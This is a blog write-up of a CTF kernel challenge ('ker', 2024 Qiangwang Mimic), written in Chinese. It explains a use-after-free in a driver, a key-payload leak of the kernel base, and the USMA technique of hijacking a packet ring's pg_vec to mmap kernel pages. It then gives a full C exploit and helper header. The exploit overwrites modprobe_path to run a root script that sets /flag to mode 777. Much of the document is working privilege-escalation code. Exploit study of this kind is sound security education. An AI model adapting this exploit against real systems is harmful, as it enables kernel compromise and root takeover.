2024强网拟态ker题解(USMA手法)

0rb1t Lv2

0x01.题目分析

ker_ioctl具有add、delete、edit三个功能点,分别对应0x20、0x30、0x50

add允许申请0x28(实际0x40)大小的堆块,并可写入数据。

image-20241111124603587

delete机会只有2次,且不会清空指针,造成uaf漏洞。

image-20241111124754283

edit机会只有一次,且只能修改前8字节。

image-20241111124857509

可以看到开启了cg隔离。

image-20241111125849046

正常保护都开启了。

image-20241111125956511

0x02.利用手法

setxattr辅助修改

setxattr系统调用主要作用就是设置文件扩展属性,其中可以设置扩展属性的名字,设置的时候会临时创建一个堆来存放属性名字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
setxattr(struct mnt_idmap *idmap, struct dentry *d,
const char __user *name, const void __user *value, size_t size,
int flags)
{
struct xattr_name kname;
struct xattr_ctx ctx = {
.cvalue = value,
.kvalue = NULL,
.size = size,
.kname = &kname,
.flags = flags,
};
...
error = setxattr_copy(name, &ctx);//为属性名字创建堆块
...
kvfree(ctx.kvalue);//free掉
return error;
}
int setxattr_copy(const char __user *name, struct xattr_ctx *ctx)
{
...
if (ctx->size) {
if (ctx->size > XATTR_SIZE_MAX)
return -E2BIG;
//调用vmemdup_user创建堆块并复制数据
ctx->kvalue = vmemdup_user(ctx->cvalue, ctx->size);
if (IS_ERR(ctx->kvalue)) {
error = PTR_ERR(ctx->kvalue);
ctx->kvalue = NULL;
}
}

return error;
}
void *vmemdup_user(const void __user *src, size_t len)
{
void *p;

p = kvmalloc(len, GFP_USER);//申请任意空间,GFP_USER包含了GFP_KENREL标志
if (!p)
return ERR_PTR(-ENOMEM);

if (copy_from_user(p, src, len)) {//复制过去
kvfree(p);
return ERR_PTR(-EFAULT);
}

return p;
}

但是结束后会还是会free掉该堆块,所以setxattr只能短暂占位进行辅助修改。

ukp堆喷+leak数据

ukp全称user_key_payload,是用户创建并存放密钥的结构体。

1
2
3
4
5
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};

它拥有0x18的头,其中0x10偏移存放着datalen。

我们可以通过add_key系统调用创建。

1
2
3
4
5
6
//调用链
add_key(type,description,payload,plen,ringid)
key_create_or_update(...,type,description,payload,plen)
__key_create_or_update(...,type,description,payload,plen)
index_key.type->preparse(&prep);
kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);

其中index_key.type->preparse根据type来选择特定的fops,可以跟踪key_types_list 来寻找对应的fops。

当type为user时就会调用user_preparse函数申请user_key_payload结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct key_type key_type_user = {
.name = "user",
.preparse = user_preparse,
.free_preparse = user_free_preparse,
.instantiate = generic_key_instantiate,
.update = user_update,
.revoke = user_revoke,
.destroy = user_destroy,
.describe = user_describe,
.read = user_read,
};
int user_preparse(struct key_preparsed_payload *prep)
{
struct user_key_payload *upayload;
size_t datalen = prep->datalen;

if (datalen <= 0 || datalen > 32767 || !prep->data)
return -EINVAL;

upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
if (!upayload)
return -ENOMEM;

/* attach the data */
prep->quotalen = datalen;
prep->payload.data[0] = upayload;
upayload->datalen = datalen;
memcpy(upayload->data, prep->data, datalen);
return 0;
}

可以看到这里申请的堆标志为GFP_KERNEL,申请堆块的范围在0x20-0x8000,十分宽大。

我们可以通过keyctl系统调用读取堆块,释放堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//KEYCTL_READ调用user_read读取堆块内容
long user_read(const struct key *key, char *buffer, size_t buflen)
{
const struct user_key_payload *upayload;
long ret;

upayload = user_key_payload_locked(key);
ret = upayload->datalen;

/* we can return the data as is */
if (buffer && buflen > 0) {
if (buflen > upayload->datalen)
buflen = upayload->datalen;

memcpy(buffer, upayload->data, buflen);
}

return ret;
}

可以看到user_read是基于upk->datalen进行读取的,所以我们可以通过劫持upk->datalen从而越界读取数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
//user_revoke释放堆块
void user_revoke(struct key *key)
{
struct user_key_payload *upayload = user_key_payload_locked(key);

/* clear the quota */
key_payload_reserve(key, 0);

if (upayload) {
rcu_assign_keypointer(key, NULL);
call_rcu(&upayload->rcu, user_free_payload_rcu);
}
}

user_revoke释放堆块时并不会直接就释放,而是将其放进rcu_list中进行调度,等GP(Grace Period)即宽限期结束,rcu才会对其进行释放。

1
2
3
4
5
struct callback_head {
struct callback_head *next;//rcu单链表,指向下一个待释放的rcu
void (*func)(struct callback_head *head);//释放函数
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

在GP期间,会存入释放函数到callback_head->func中,这就让泄露内核基地址成为可能,且如果在GP期间再revoke一个upk还能让callback_head->next指向下一个upk结构体,从而泄露堆地址。

再补充两个keyctl,

KEYCTL_UPDATE会给key重新分配一个upk并将原来的upk revoke掉;

KEYCTL_UNLINK则会将key给unlink掉。

USMA手法

USMA(User Space Mapping Attack)源于CVE-2021-22600,关于此CVE的分析可以看看我先前的文章

当用户态与内核态进行socket通信时,为了节省开支允许用户调用setsockopt的PACKET_RX_RING功能创建一个环形缓冲区,针对同一片物理内存,用户和内核都分别映射一片虚拟内存,这样用户和内核就可以直接进行数据传输。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//调用链packet_setsockopt->packet_set_ring->alloc_pg_vec
struct pgv {
char *buffer;
};
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;

pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;

for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}

out:
return pg_vec;

out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}

alloc_pg_vec 函数会调用kcalloc为pg_vec分配内存,其中block_nr是我们可控的,所以我们可以用分配几乎任意size的GFP_KERNEL的堆块。

分配的pg_vec会用来存放环形缓冲区中所有page的虚拟地址,而用户则可以调用mmap来映射pg_vec中所有的page,即将pg_vec中所有虚拟地址对应的物理地址再映射一份虚拟地址给用户空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int packet_mmap(struct file *file, struct socket *sock,
struct vm_area_struct *vma)
{
...
start = vma->vm_start;
for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) {
if (rb->pg_vec == NULL)
continue;

for (i = 0; i < rb->pg_vec_len; i++) {
struct page *page;
void *kaddr = rb->pg_vec[i].buffer;
int pg_num;

for (pg_num = 0; pg_num < rb->pg_vec_pages; pg_num++) {
page = pgv_to_page(kaddr);
err = vm_insert_page(vma, start, page);
if (unlikely(err))
goto out;
start += PAGE_SIZE;
kaddr += PAGE_SIZE;
}
}
}
...
}

这就意味着我们只要能劫持pg_vec结构体就可以利用mmap映射任意符合条件的内核空间。

1
2
3
4
5
6
7
static int validate_page_before_insert(struct page *page)
{
if (PageAnon(page) || PageSlab(page) || page_has_type(page))
return -EINVAL;
flush_dcache_page(page);
return 0;
}

前提就是page不能为匿名页、slab的堆块、含有type的page。

而内核代码段page是完全符合的,故我们可以利用usma修改任意内核代码段的数据,从而执行任意内核shellcode,同时modprobe_path所处page也是符合的,所以我们也能修改它实现提权。

0x03.漏洞利用

因为开启了内核隔离,而ko驱动使用的堆块都是GFP_KERNEL的,pipe和msgmsg都利用不了,所以我们选择使用ukp和usma分别进行泄露和攻击。

  • 申请0x40堆块再释放,创建一个刚好0x40大小的ukp占住释放堆块的位置。
  • 堆喷大量ukp在当前堆块后方,并revoke掉,此时就会有残留。
  • 二次delete堆块释放最开始的ukp,然后调用setxattr修改ukp的datalen,并调用keyctl_read泄露内核基地址。
  • 创建环形缓冲区pg_vec,再次占住我们最开始创建的堆块。
  • 利用edit修改pg_vec存放的地址为modprobe_path所在page的地址。
  • 最后mmap映射modprobe_path所在page,然后修改modprobe_path实现提权。

这里要补充的是,ukp在创建的时候会首先分配plen大小的堆块存放payload再去申请plen+0x18的堆块把payload放进去,所以我们要控制plen刚好为0x20,这样最初分配的就会是0x20的堆块,而ukp就能分配到0x18+0x20=0x38(实际是0x40)的堆块。

并且pg_vec创建了多少个page的环形缓冲区,mmap就必须映射多少个,所以必须保证整个pg_vec所有的虚拟地址都是满足条件的,不然会报错。

0x04.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#include "Kernel.h"
char* buf, key[0x30];
int ko_fd;
long kernel_entry = 0xfffffe0000000000, kernel_base;
sem_t sem1, sem2, sem3;
long* ibuf;
int key_spray[0x100], ring_spray[0x100];

void add(void* buf) {
char** arg = (char**)&buf;
ioctl(ko_fd, 0x20, arg);
}

void edit(unsigned long val) {
unsigned long* buf = &val;
unsigned long** arg = &buf;
ioctl(ko_fd, 0x50, arg);
}

void dele() {
ioctl(ko_fd, 0x30, buf);
}

int find_uaf_key(int n, char* buffer) {
for (int i = 0; i < n; i++) {
if (key_spray[i] == -1)continue;
key_read(key_spray[i], buffer, 0x800);
if (memcmp(buffer, "0rb1t123", 8) == 0) {
return i;
}
}
return -1;
}

void spray_ukp(int n) {
static int cnt = 0;
char desc[0x10] = { 0 };
char payload[0x20] = { 0 };
memset(payload, 'a', 0x20 - 1);
for (int i = cnt; i < cnt + n; i++) {
snprintf(desc, 0x10, "0rb1t_%x", i);
key_spray[i] = key_alloc(desc, payload, 0x20);
}
cnt += n;
}



void spray_rx_ring(int n) {
static int cnt = 0;
for (int i = cnt; i < cnt + n; i++) {
ring_spray[i] = packet_rx_ring_setup(8, getpagesize(), getpagesize() / 2);
}
}


void unlink_all_key_unless(int n, int unless = -1) {
if (unless == -1)return;
for (int i = 0; i < n; i++) {
if (i == unless)continue;
key_revoke(key_spray[i]);
key_unlink(key_spray[i]);
}
}

uint64_t maybe_leak[] = {
0xffffffff8236ca40,
0xffffffff82711453,
0xffffffff811b6530,
0xffffffff81d5d210,
0xffffffff81d5d240,
0xffffffff810da8f1,
0xffffffff8274c13e,
0xffffffff8236ca40,
0xffffffff81d5d250,
0xffffffff81d5d290,
0xffffffff811b6530,
0xffffffffc0201000,
0xffffffff811b6530,
0xffffffff82726c9a,
0xffffffff822528e0,
0xffffffff8335d900,
0xffffffff8272d9cf,
0xffffffff82252820,
0xffffffff83301560,
0xffffffff812ecf50,
0xffffffff832af780,
0xffffffff81d5d210,
0xffffffff81d5d240,
0xffffffff84751b80,
0xffffffff810da8f1,
0xffffffff8199f0ad,
0xffffffff83301500,
0xffffffff82252820,
0xffffffff82775856,
0xffffffff82252580,
0xffffffff82274700
};

int main() {
save_user_land();
//signal(SIGSEGV, (sighandler_t)get_shell);
bind_core(0);
unshare_setup();
buf = (char*)malloc(0x1000);
memset(buf, 0, 0x1000);
ibuf = (long*)buf;
ko_fd = open("/dev/ker", O_RDWR);
spray_ukp(0x10);
add(buf);
dele();
spray_ukp(0x10);
dele();
ibuf[2] = 0x400;
memcpy(&buf[0x18], "0rb1t123", 8);
setxattr("/tmp", "0rb1t", buf, 0x40, 0);
memset(buf, 0, 0x800);
int uaf_key = find_uaf_key(0x20, buf);
if (uaf_key == -1) {
RED printf("Not found uaf key payload."); CLOSE;
return 0;
}
BLUE printf("Find uaf key."); CLOSE;
unlink_all_key_unless(0x20, uaf_key);
for (int i = 0; i < 0x100; i++) {
for (int j = 0; j < sizeof(maybe_leak) / sizeof(maybe_leak[0]); j++) {
if (((ibuf[i] & 0xffffffff00000000) != 0) && (ibuf[i] & 0xfffff) == (maybe_leak[j] & 0xfffff)) {
kernel_base = ibuf[i] - (maybe_leak[j] - 0xffffffff81000000);
break;
}
}
}
if (kernel_base == 0) {
binary_dump(buf, 0x800, 0);
return 0;
}
GREEN printf("kernel_base: 0x%lx", kernel_base); CLOSE;
spray_rx_ring(0x30);
long modprobe_path = kernel_base + 0x21d8ce0;
edit(modprobe_path & (~0xfff));
char* modmap = 0;
for (int i = 0; i < 0x30; i++) {
char* map = (char*)mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_SHARED, ring_spray[i], 0);
if ((long)map <= 0) {
continue;
}
if (strcmp(&map[modprobe_path & 0xfff], "/sbin/modprobe") == 0) {
modmap = map;
break;
}
munmap(map, 0x8000);
}
if (modmap == 0) {
RED printf("USMA exploit failed."); CLOSE;
return 0;
}
PURPLE printf("USMA exploit success."); CLOSE;
strcpy(&modmap[modprobe_path & 0xfff], "/tmp/x");
modprobe_get_flag();
block();
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
//Kernel.h
#pragma once
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <linux/keyctl.h>
#include <stdlib.h>
#include <syscall.h>
#include <unistd.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#include <stdint.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/signal.h>
#include <string.h>
#include <semaphore.h>
#include <syscall.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <sys/sysinfo.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <linux/dma-heap.h>

#define MSG_COPY 040000

#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define ULL unsigned long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m\[-] ");
#define GREEN printf("\033[32m\[+] ");
#define BLUE printf("\033[36m\[+] ");
#define YELLOW printf("\033[33m\[+] ");
#define PURPLE printf("\033[35m\[+] ");

#define MSG_COPY 040000

int key_alloc(char* description, char* payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char* payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char* buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

struct list_head {
uint64_t next;
uint64_t prev;
};

void block() {
static int cnt = 0;
YELLOW printf("Block %d", cnt++); CLOSE;
getchar();
}

void binary_dump(char* buf, size_t size, long long base_addr = 0) {
printf("\033[33mDump:\n\033[0m");
char* ptr;
for (int i = 0; i < size / 0x20; i++) {
ptr = buf + i * 0x20;
printf("0x%016llx: ", base_addr + i * 0x20);
for (int j = 0; j < 4; j++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * j));
}
printf(" ");
for (int j = 0; j < 0x20; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
if (size % 0x20 != 0) {
int k = size - size % 0x20;
printf("0x%016llx: ", base_addr + k);
ptr = buf + k;
for (int i = 0; i <= (size - k) / 8; i++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * i));
}
for (int i = 0; i < 3 - (size - k) / 8; i++) {
printf("%19c", ' ');
}
printf(" ");
for (int j = 0; j < size - k; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
}

unsigned long long user_sp, user_cs, user_ss, user_rflags, user_rip;

void get_shell() {
printf("\033[35mGetShell Success!\033[0m\n");
system("/bin/sh");
return;
}

void save_user_land() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = (unsigned long long)get_shell;
puts("\033[34mUser land saved.\033[0m");
printf("\033[34muser_ss:0x%llx\033[0m\n", user_ss);
printf("\033[34muser_sp:0x%llx\033[0m\n", user_sp);
printf("\033[34muser_rflags:0x%llx\033[0m\n", user_rflags);
printf("\033[34muser_cs:0x%llx\033[0m\n", user_cs);
printf("\033[34muser_rip:0x%llx\033[0m\n", user_rip);
}

void modprobe_get_flag() {
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
system("chmod +x /tmp/dummy");
system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("cat /flag");
exit(0);
}

int packet_rx_ring_setup(int block_nr, int block_size, int frame_size, int sizeof_priv = 0, int timeout = 10000) {
int sock = socket(AF_PACKET, SOCK_RAW, htonl(ETH_P_ALL));
if (sock < 0) {
perror("socket");
}

int version = TPACKET_V3;
int ret = setsockopt(sock, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
if (ret < 0) {
perror("setsockopt version");
}
struct tpacket_req3 req3;
req3.tp_block_nr = block_nr;
req3.tp_block_size = block_size;
req3.tp_frame_size = frame_size;
req3.tp_frame_nr = (block_size * block_nr) / frame_size;
req3.tp_retire_blk_tov = timeout;
req3.tp_sizeof_priv = sizeof_priv;
req3.tp_feature_req_word = 0;
ret = setsockopt(sock, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));
if (ret < 0) {
perror("setsockopt rx_ring");
}
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_halen = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
ret = bind(sock, (struct sockaddr*)&sa, sizeof(sa));
if (ret < 0) {
perror("bind");
}
return sock;
}
  • Title: 2024强网拟态ker题解(USMA手法)
  • Author: 0rb1t
  • Created at : 2024-11-10 20:51:12
  • Updated at : 2024-11-11 21:32:13
  • Link: https://redefine.ohevan.com/2024/11/10/2024强网拟态ker题解(USMA手法)/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments